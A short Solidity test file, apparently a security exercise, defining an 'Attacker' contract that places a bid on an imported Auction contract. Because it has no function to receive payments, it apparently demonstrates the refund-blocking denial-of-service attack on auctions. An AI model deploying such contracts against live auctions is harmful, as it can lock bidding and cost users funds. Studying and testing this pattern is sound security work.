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tests...attack.sol

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.9.0;

import "./Auction.sol";   
contract Attacker{
    Auction auction;
    constructor(Auction _auctionaddr){
        auction = Auction(_auctionaddr);
    }
    function attack () payable public {
        auction.bid{value: msg.value}();
    }
}